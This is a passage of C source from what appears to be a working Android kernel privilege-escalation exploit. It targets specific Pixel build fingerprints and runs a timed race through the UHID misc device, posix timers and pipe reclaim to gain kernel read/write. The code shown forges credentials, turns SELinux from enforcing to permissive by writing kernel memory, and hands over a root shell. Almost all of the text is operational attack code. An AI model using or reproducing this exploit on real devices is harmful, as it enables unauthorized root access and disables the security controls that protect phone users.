printf("STAGE8_CHILD_KERNEL_CRED_PASS subjective_equals_objective=1 " "context=shell usage=%llu security=%#llx\n", (unsigned long long)child_identity.usage, (unsigned long long)child_identity.security); { int result = kernel_read_virtual(reader_fd, probe, &layout, LINK_SELINUX_STATE + kernel_slide, &selinux_state, sizeof(selinux_state)); if (result == -2) hold_cred_unknown(); if (result || selinux_state != 1) goto release_child; } { int result = verify_task_cred_pair(reader_fd, probe, &layout, child_match.raw_task, child_match.snapshot.cred, child_match.snapshot.cred); if (result == -2) hold_cred_unknown(); if (result) goto release_child; } printf("STAGE8_CHILD_TASK_CRED_FINAL_PASS task=%#llx cred=%#llx " "reads=%d\n", (unsigned long long)child_match.raw_task, (unsigned long long)child_match.snapshot.cred, DP_TASK_STABLE_READS); printf("STAGE8_BOOT_ENFORCING_PASS baseline=%d parent=%d kernel=%u child_context=shell\n", baseline.enforcing, staged_user.enforcing, selinux_state); selinux_state = 0; if (kernel_write_virtual(reader_fd, probe, &layout, LINK_SELINUX_STATE + kernel_slide, &selinux_state, sizeof(selinux_state))) hold_cred_unknown(); selinux_state = 1; if (kernel_read_virtual(reader_fd, probe, &layout, LINK_SELINUX_STATE + kernel_slide, &selinux_state, sizeof(selinux_state)) || selinux_state) hold_cred_unknown(); printf("STAGE8_PERMISSIVE_PASS before=1 after=%u reads=1\n", selinux_state); printf("\033[1;32m[+]\033[0m ROOT_CHILD_HOLD_PASS child=%d uid=0 context=shell " "selinux_permissive=1\n", child); fflush(NULL); atomic_store_explicit(&shared->child_shell_go, 1, memory_order_release); if (waitpid_exact(child, &child_status)) { dprintf(STDERR_FILENO, "\033[1;31m[-]\033[0m root child wait failed: %s\n", strerror(errno)); hold_corrupted_state(); } _exit(WIFEXITED(child_status) ? WEXITSTATUS(child_status) : 128 + WTERMSIG(child_status)); release_child: dprintf(STDERR_FILENO, "\033[1;31m[-]\033[0m root child setup failed pid=%d\n", child); if (terminate_and_reap_timed(child, &child_status, 5000)) hold_corrupted_state(); child = -1; out: if (cred_dirty) hold_cred_unknown(); if (child > 0) { if (terminate_and_reap_timed(child, &child_status, 5000)) hold_corrupted_state(); } if (signals_blocked) { if (pthread_sigmask(SIG_SETMASK, &old_signals, NULL)) hold_corrupted_state(); } if (comm_changed && prctl(PR_SET_NAME, old_comm)) hold_corrupted_state(); if (shared != MAP_FAILED) munmap(shared, 0x1000); return -1; } enum standalone_profile { STANDALONE_PROFILE_UNKNOWN, STANDALONE_PROFILE_FRANKEL_QEMU, STANDALONE_PROFILE_BLAZER, }; static int read_profile_file(const char *path, char *buffer, size_t capacity) { if (capacity < 2) return -1; int fd = open(path, O_RDONLY | O_CLOEXEC); if (fd < 0) return -1; ssize_t length = read(fd, buffer, capacity - 1); close(fd); if (length <= 0) return -1; buffer[length] = '\0'; return 0; } static enum standalone_profile detect_standalone_profile(char fingerprint[PROP_VALUE_MAX]) { static const char frankel[] = "google/frankel/frankel:17/CP2A.260605.012/15430684:user/release-keys"; static const char blazer[] = "google/blazer/blazer:17/CP2A.260705.006/15641320:user/release-keys"; char cmdline[8192]; char device[PROP_VALUE_MAX] = {0}; if (__system_property_get("ro.build.fingerprint", fingerprint) <= 0 || __system_property_get("ro.product.device", device) <= 0 || read_profile_file("/proc/cmdline", cmdline, sizeof(cmdline))) return STANDALONE_PROFILE_UNKNOWN; if (!strcmp(fingerprint, frankel) && !strcmp(device, "frankel") && strstr(cmdline, "androidboot.hardware=gem5") && strstr(cmdline, "ro.kernel.qemu=1")) return STANDALONE_PROFILE_FRANKEL_QEMU; if (!strcmp(fingerprint, blazer) && !strcmp(device, "blazer") && !strstr(cmdline, "androidboot.hardware=gem5") && !strstr(cmdline, "ro.kernel.qemu=1")) return STANDALONE_PROFILE_BLAZER; return STANDALONE_PROFILE_UNKNOWN; } static void configure_standalone(char **argv) { /* The inherited environment size is part of the timed exec chain. */ static const char *const exec_environment[][2] = { {"RACE_CPU_LIMIT", "4"}, {"RACE_CPU_BASE", "2"}, {"RACE_ROLE_MAP", "1"}, {"PIPE_COUNT", "3000"}, {"TIMER_GOAL", "58699"}, {"DELETE_WORKERS", "5"}, {"STATIC_PARTITION", "1"}, {"IRQ_BATCH_FDS", "1"}, {"IRQ_BATCH_PERIOD_NS", "50000"}, {"IRQ_ARM_LEAD_NS", "250000000"}, {"EXEC_AFTER_DELETED", "100"}, {"PRIME_START_DELETED", "32"}, {"PRIME_STOP_DELETED", "64"}, {"PRIME_MAX_SIGNALS", "0"}, {"RCU_FLUSH_TIMERS", "40000"}, {"RCU_WAIT_US", "150000"}, {"WATCHER_TIMEOUT_MS", "3000"}, {"USE_SCHED_IDLE", "0"}, {"WAKE_THREADS", "0"}, {"SIGNAL_THREADS", "0"}, {"MEMBARRIER_THREADS", "0"}, }; char fingerprint[PROP_VALUE_MAX] = {0}; const char *profile_name; const char *repeats; const char *batch; const char *attempts; const char *controlled_attempts; enum standalone_profile profile = detect_standalone_profile(fingerprint); race_cpu_limit = 4; race_cpu_base = 2; pipe_count = 3000; timer_goal = 58699; worker_goal = 5; irq_batch_fds = 1; irq_batch_period_ns = 50000; irq_arm_lead_ns = 250000000; exec_after_deleted = 100; prime_start_deleted = 32; rcu_flush_timers = 40000; rcu_wait_us = 150000; watcher_timeout_ms = 3000; if (profile == STANDALONE_PROFILE_FRANKEL_QEMU) { profile_name = "frankel-qemu"; repeats = "64"; batch = "16"; attempts = "8"; controlled_attempts = "32"; race_exec_repeats = 64; race_batch = 16; controlled_race_batch = 16; max_attempts = 8; controlled_max_attempts = 32; direct_bootid_parent = FRANKEL_DIRECT_BOOTID_PARENT; direct_cycle_c = FRANKEL_DIRECT_CYCLE_C; pipe_reclaim_count = 16; } else if (profile == STANDALONE_PROFILE_BLAZER) { profile_name = "blazer"; repeats = "24"; batch = "1"; attempts = "16"; controlled_attempts = "16"; race_exec_repeats = 24; race_batch = 1; controlled_race_batch = 1; max_attempts = 16; controlled_max_attempts = 16; direct_bootid_parent = BLAZER_DIRECT_BOOTID_PARENT; direct_cycle_c = BLAZER_DIRECT_CYCLE_C; pipe_reclaim_count = 80; } else { fprintf(stderr, "TARGET_PROFILE_GATE_FAIL fingerprint=%s\n", fingerprint[0] ? fingerprint : "unavailable"); exit(2); } for (size_t index = 0; index < ARRAY_SIZE(exec_environment); index++) { if (setenv(exec_environment[index][0], exec_environment[index][1], 1)) die("setenv standalone"); } if (setenv("RACE_EXEC_REPEATS", repeats, 1) || setenv("RACE_BATCH", batch, 1) || setenv("MAX_ATTEMPTS", attempts, 1) || setenv("CONTROLLED_RACE_BATCH", batch, 1) || setenv("CONTROLLED_MAX_ATTEMPTS", controlled_attempts, 1)) die("setenv standalone profile"); if (getenv("_NEBUSEC_STANDALONE_CONFIGURED")) { fprintf(stderr, "TARGET_PROFILE_GATE_PASS profile=%s fingerprint=%s " "direct_parent=%#llx direct_child=%#llx pipe_reclaim=%d " "repeats=%d batch=%d attempts=%d controlled=%d\n", profile_name, fingerprint, (unsigned long long)direct_bootid_parent, (unsigned long long)direct_cycle_c, pipe_reclaim_count, race_exec_repeats, race_batch, max_attempts, controlled_max_attempts); return; } if (setenv("_NEBUSEC_STANDALONE_CONFIGURED", "1", 1)) die("setenv standalone marker"); execv("/proc/self/exe", argv); die("execv standalone"); } int main(int argc, char **argv) { unsigned char fake_fragment[ORDER1_SIZE] __attribute__((aligned(0x1000))); struct sigaction ignore; char baseline[64]; uint64_t baseline0; uint64_t baseline1; struct watcher_result stage0_result; struct watcher_result marker_result; struct controlled_page page; struct pipe_reclaim_probe pipe_probe; struct stat uhid_stat = {0}; int stage0_pass = 0; int attempt; if (argc > 1 && !strcmp(argv[1], "--exec-child")) { char *end; long parsed; if (argc != 5) return 102; errno = 0; parsed = strtol(argv[3], &end, 0); if (!*argv[3] || errno || end == argv[3] || *end || parsed < 0 || parsed >= CPU_SETSIZE) return 102; race_cpu_base = (int)parsed; return exec_child(argv[2], argv[4]); } configure_standalone(argv); kernel_state_owner = getpid(); online_cpu_count = sysconf(_SC_NPROCESSORS_ONLN); if (online_cpu_count < 8 || online_cpu_count > CPU_SETSIZE) { fprintf(stderr, "TARGET_CPU_GATE_FAIL online=%d\n", online_cpu_count); return 2; } cpu_count = race_cpu_limit; if (apply_race_cpu_limit() || verify_role_cpus()) return 2; raise_limits(); memset(&ignore, 0, sizeof(ignore)); ignore.sa_handler = SIG_IGN; sigaction(SIGUSR1, &ignore, NULL); sigaction(SIGUSR2, &ignore, NULL); { sigset_t blocked; sigemptyset(&blocked); sigaddset(&blocked, SIGRTMIN); if (sigprocmask(SIG_BLOCK, &blocked, NULL)) die("sigprocmask realtime"); } membarrier_registered = !syscall(SYS_membarrier, MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED, 0, 0); setvbuf(stdout, NULL, _IONBF, 0); if (race_cpu_limit) printf("RACE_CPU_LIMIT_GATE_PASS requested=%d base=%d online=%d " "effective=%d logical=0-%d affinity=%d-%d\n", race_cpu_limit, race_cpu_base, online_cpu_count, cpu_count, cpu_count - 1, race_cpu_base, race_cpu_base + cpu_count - 1); printf("RACE_ROLE_PREFLIGHT_PASS exec=%d parent=%d delete=%d-%d " "chain_count=%d chain_base=%d\n", RACE_ROLE_EXEC_CPU, RACE_ROLE_PARENT_CPU, RACE_ROLE_DELETE_FIRST_CPU, RACE_ROLE_DELETE_FIRST_CPU + RACE_ROLE_DELETE_CPU_COUNT - 1, cpu_count, race_cpu_base); { int fd = open(UHID_PATH, O_RDWR | O_CLOEXEC); if (fd < 0 || fstat(fd, &uhid_stat) || major(uhid_stat.st_rdev) != 10 || minor(uhid_stat.st_rdev) != UHID_MINOR) { if (fd >= 0) close(fd); fprintf(stderr, "UHID_GATE_FAIL errno=%d major=%u minor=%u\n", errno, major(uhid_stat.st_rdev), minor(uhid_stat.st_rdev)); return 3; } close(fd); printf("UHID_GATE_PASS major=%u minor=%u\n", major(uhid_stat.st_rdev), minor(uhid_stat.st_rdev)); } printf("RACE_CONFIG batch=%d max_attempts=%d controlled_batch=%d " "controlled_max_attempts=%d irq_batch_fds=%d " "irq_batch_period_ns=%ld irq_arm_lead_ns=%ld " "exec_after_deleted=%d timer_goal=%d exec_repeats=%d\n", race_batch, max_attempts, controlled_race_batch, controlled_max_attempts, irq_batch_fds, irq_batch_period_ns, irq_arm_lead_ns, exec_after_deleted, timer_goal, race_exec_repeats); if (read_boot_id(baseline, &baseline0, &baseline1)) { perror("read boot_id baseline"); return 3; } stage0_baseline0 = baseline0; stage0_baseline1 = baseline1; if (read_timer_slab(&slab_baseline_active, &slab_baseline_total)) { perror("read posix_timers_cache baseline"); return 4; } printf("ENV_GATE uid=%d cpus=%d page=%ld membarrier=%d boot_id=%s", getuid(), cpu_count, sysconf(_SC_PAGESIZE), membarrier_registered, baseline); printf("SLAB_BASELINE active=%d total=%d\n", slab_baseline_active, slab_baseline_total); boot_validation = BOOT_VALIDATE_KASLR; forged_parent = direct_bootid_parent; forged_child = direct_cycle_c; build_fake_fragment(fake_fragment); for (attempt = 1; attempt <= max_attempts; attempt++) { int result = exploit_attempt(attempt, fake_fragment, &stage0_result); if (result > 0) { atomic_store_explicit(&kernel_state_dirty, 1, memory_order_release); stage0_pass = 1; break; } if (result < 0) { hold_cred_unknown(); } } if (!stage0_pass) { printf("BOOTID_WRITE_MISS attempts=%d\n", max_attempts); return 1; } printf("STAGE0_GATE_PASS slide=%#llx kernel_base=%#llx\n", (unsigned long long)stage0_result.slide, (unsigned long long)(LINK_IMAGE_BASE + stage0_result.slide)); kernel_slide = stage0_result.slide; prepare_controlled_page(&page); pipe_reclaim_probe_init(&pipe_probe); prepare_controlled_page(&pipe_probe.carrier); pipe_probe.base = pipe_probe.carrier.base; crosscache_page_base = page.base; printf("PIPE_CARRIER_PREPARED base=%#llx before_bridge=1\n", (unsigned long long)pipe_probe.carrier.base); boot_validation = BOOT_VALIDATE_MISC_BRIDGE; forged_parent = LINK_MISC_LIST + kernel_slide - 8; forged_child = fake_misc_child(page.base, 0, 0); race_batch = controlled_race_batch; build_misc_fragments(page.base); if (read_timer_slab(&slab_baseline_active, &slab_baseline_total)) die("read timer slab before marker write"); printf("MISC_BRIDGE_STAGE_BEGIN base=%#llx list=%#llx slab=%d/%d\n", (unsigned long long)page.base, (unsigned long long)forged_child, slab_baseline_active, slab_baseline_total); for (attempt = 1; attempt <= controlled_max_attempts; attempt++) { int result = exploit_attempt(attempt, fake_fragment, &marker_result); if (result > 0) { const uint64_t marker = NEBUSEC_MAGIC; uint64_t before = 0; uint64_t after = 0; uint64_t observed = 0; uint64_t scratch = page.base + BRIDGE_SCRATCH_OFF; int bridge_fd = open_verified_bridge(&observed); int status = 0; if (bridge_fd < 0) { printf("MISC_BRIDGE_RW_FAIL stage=open fd=%d " "observed=%#llx errno=%d\n", bridge_fd, (unsigned long long)observed, errno); hold_corrupted_state(); } printf("MISC_BRIDGE_OPEN_PASS fd=%d observed=%#llx\n", bridge_fd, (unsigned long long)observed); if (restore_misc_list(bridge_fd)) { printf("MISC_BRIDGE_RESTORE_FAIL stage=misc_list " "errno=%d\n", errno); hold_corrupted_state(); } if (restore_stage0_state(bridge_fd, baseline0, baseline1)) { printf("MISC_BRIDGE_RESTORE_FAIL stage=stage0 " "errno=%d\n", errno); hold_corrupted_state(); } if (bridge_read64(bridge_fd, scratch, &before) || bridge_write64(bridge_fd, scratch, marker) || bridge_read64(bridge_fd, scratch, &after) || after != marker || bridge_write64(bridge_fd, scratch, before)) { printf("MISC_BRIDGE_RW_FAIL fd=%d before=%#llx " "after=%#llx errno=%d\n", bridge_fd, (unsigned long long)before, (unsigned long long)after, errno); status = 6; goto bridge_cleanup; } printf("MISC_BRIDGE_RW_PASS fd=%d observed=%#llx " "scratch=%#llx marker=%#llx\n", bridge_fd, (unsigned long long)observed, (unsigned long long)scratch, (unsigned long long)after); { int pipe_result = prepare_pipe_reclaim(bridge_fd, &pipe_probe); if (pipe_result == -2) hold_cred_unknown(); if (!pipe_result) goto pipe_reclaim_ready; printf("PIPE_RECLAIM_FAIL base=%#llx errno=%d\n", (unsigned long long)pipe_probe.base, errno); status = 9; goto bridge_cleanup; } pipe_reclaim_ready: { int physical_result = run_physical_rw_probe(bridge_fd, &page, &pipe_probe); if (physical_result == -2) hold_cred_unknown(); if (physical_result) { printf("PHYS_PROBE_FAIL stage=run errno=%d\n", errno); status = 10; goto bridge_cleanup; } } { int root_result = run_stage8_root_probe(bridge_fd, &pipe_probe); if (root_result == -2) hold_cred_unknown(); dprintf(STDERR_FILENO, "\033[1;31m[-]\033[0m STAGE8_ROOT_FAIL result=%d errno=%d\n", root_result, errno); status = 11; goto bridge_cleanup; } bridge_cleanup: if (pipe_probe.meta_state != PIPE_META_NATIVE) hold_cred_unknown(); if (confirm_stage0_cycle(bridge_fd)) { printf("KERNEL_STATE_RESTORE_NOT_PROVEN stage=cycle\n"); hold_corrupted_state(); } close(bridge_fd); bridge_fd = -1; if (verify_real_uhid()) { printf("UHID_RESTORE_FAIL errno=%d\n", errno); hold_corrupted_state(); } pipe_reclaim_probe_cleanup(&pipe_probe); close_fd_pair(page.sockets); if (confirm_stage0_baseline() || verify_real_uhid() || verify_real_uhid()) { printf("KERNEL_STATE_RESTORE_NOT_PROVEN errno=%d\n", errno); hold_corrupted_state(); } atomic_store_explicit(&kernel_state_dirty, 0, memory_order_release); printf("KERNEL_STATE_RESTORE_PASS dirty=0\n"); return status; } if (result < 0) { hold_cred_unknown(); } } printf("MISC_BRIDGE_MISS_PRESERVE base=%#llx attempts=%d\n", (unsigned long long)page.base, controlled_max_attempts); hold_corrupted_state(); }